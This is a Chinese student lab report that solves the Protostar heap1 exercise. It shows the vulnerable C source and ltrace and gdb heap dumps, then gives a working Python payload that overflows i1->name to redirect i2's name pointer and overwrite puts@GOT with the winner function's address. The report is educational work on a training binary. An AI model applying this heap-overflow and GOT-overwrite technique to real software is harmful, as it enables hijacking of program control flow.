上海交通大学
SHANGHAI JIAO TONG UNIVERSITY

CS3312 Lab Heap1

学号：522031910439　姓名：梁俊轩

2025 年 4 月 16 日

1　代码逻辑

对源码进行分析, 在 Protostar 官网可以看到 heap1 的 C 语言源代码：

```c
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>

struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}
```

2 漏洞分析

程序分配两个 internet 结构体 i1 和 i2，每个结构体包含一个 priority 字段和一个指向堆块的 name 指针。用户输入通过 strcpy 写入 i1->name 和 i2->name，无长度检查。

漏洞链: 溢出 i1->name 覆盖 i2 的 name 指针。通过 strcpy(i2->name, argv[2]) 实现任意地址写，将 winner 地址写入 GOT 表（如 puts 条目）。

首先我们使用 ltrace 来查看程序的调用情况：

```
root@protostar:/opt/protostar/bin#  ./heap0 `python -c 'print "A"*72 + "\x64\x84\x04\x08"'`
data is at 0x804a008, fp is at 0x804a050
level passed
root@protostar:/opt/protostar/bin# ^C
root@protostar:/opt/protostar/bin#  ltrace ./heap1 AAAABBBB CCCCDDDD
__libc_start_main(0x80484b9, 3, 0xbffffd94, 0x8048580, 0x8048570 <unfinished ...>
malloc(8)= 0x0804a008
malloc(8)= 0x0804a018
malloc(8) = 0x0804a028
malloc(8)= 0x0804a038
strcpy(0x0804a018, "AAAABBBB")= 0x0804a018
strcpy(0x0804a038, "CCCCDDDD")= 0x0804a038
puts("and that's a wrap folks!"and that's a wrap folks!
)                                                                 = 25
+++ exited (status 25) +++
```

一共 malloc 了四次，分别为 i1、i1->name、i2、i2->name，i1 和 i2 的地址分别为 0x0804a008 和 0x0804a028，而 i1>name 和 i2->name 的地址分别为 0x0804a018 和 0x0804a038。

接下来进一步查看堆空间的情况：

```
root@protostar:/opt/protostar/bin# gdb -q heap1
Reading symbols from /opt/protostar/bin/heap1...done.
(gdb)  b *0x804855a
Breakpoint 1 at 0x804855a: file heap1/heap1.c, line 34.
(gdb) r AAAABBBB CCCCDDDD
Starting program: /opt/protostar/bin/heap1 AAAABBBB CCCCDDDD

Breakpoint 1, main (argc=3, argv=0xbffffd64) at heap1/heap1.c:34
34heap1/heap1.c: No such file or directory.
in heap1/heap1.c
(gdb) x/32xw 0x0804a008
0x804a008:0x000000010x0804a0180x000000000x00000011
0x804a018:0x414141410x424242420x000000000x00000011
0x804a028:0x000000020x0804a0380x000000000x00000011
0x804a038:0x434343430x444444440x000000000x00020fc1
0x804a048:0x000000000x000000000x000000000x00000000
0x804a058:0x000000000x000000000x000000000x00000000
0x804a068:0x000000000x000000000x000000000x00000000
0x804a078:0x000000000x000000000x000000000x00000000
```

可以很容易观察后得出堆空间上的数据分布，如下，

```
内存布局示意:
+------------------+   溢出方向
| i1结构体         | --> priority(4B)
| name指针(4B)     |
+------------------+
| i1->name缓冲区   |
```

```
| (8B用户数据区)  | --> 溢出覆盖下游结构体
+-----------------+
| i2结构体        |
| priority(4B)    |
| name指针(4B)    | --> 被篡改为GOT地址
+-----------------+
| i2->name缓冲区  |
+-----------------+
```

那么，我们需要通过 i1->name 的堆溢出，覆盖相邻 i2 结构体的 name 指针，使其指向 puts@GOT 表项。利用 strcpy(i2->name, argv[2]) 操作，将 winner 函数地址写入 puts@GOT 表项，完成函数指针替换。当程序后续调用 puts 函数时（如执行 printf），实际跳转至 winner 函数执行。

在 gdb 中反汇编 0x80483cc 开始的代码，并查看内存区域，

```
(gdb) disas 0x80483cc
Dump of assembler code for function puts@plt:
0x080483cc <puts@plt+0>:jmp    *0x8049774
0x080483d2 <puts@plt+6>:push   0x30
0x080483d7 <puts@plt+11>:jmp    0x804835c
End of assembler dump.
(gdb) x/8xw 0x8049774
0x8049774 <_GLOBAL_OFFSET_TABLE_+36>:0x080483d20x000000000x000000000x00000000
0x8049784 <dtor_idx.5984>:0x000000000x000000000x000000000x00000000
```

这里 0x080483d2 就是 puts 函数的地址，接下来我们需要设计攻击脚本：

```
padding = "A" * 20
entrance_puts = '\x74\x97\x04\x08'
argv_1 = padding + entrance_puts
winner_addr = '\x94\x84\x04\x08'
argv_2 = winner_addr
payload = argv_1 + " " + argv_2
print payload
```

最后我们发现成功攻击：

```
root@protostar:/opt/protostar/bin# ./heap1 `python h0.py`
and we have a winner @ 1744815279
root@protostar:/opt/protostar/bin#
```

图 1 攻击结果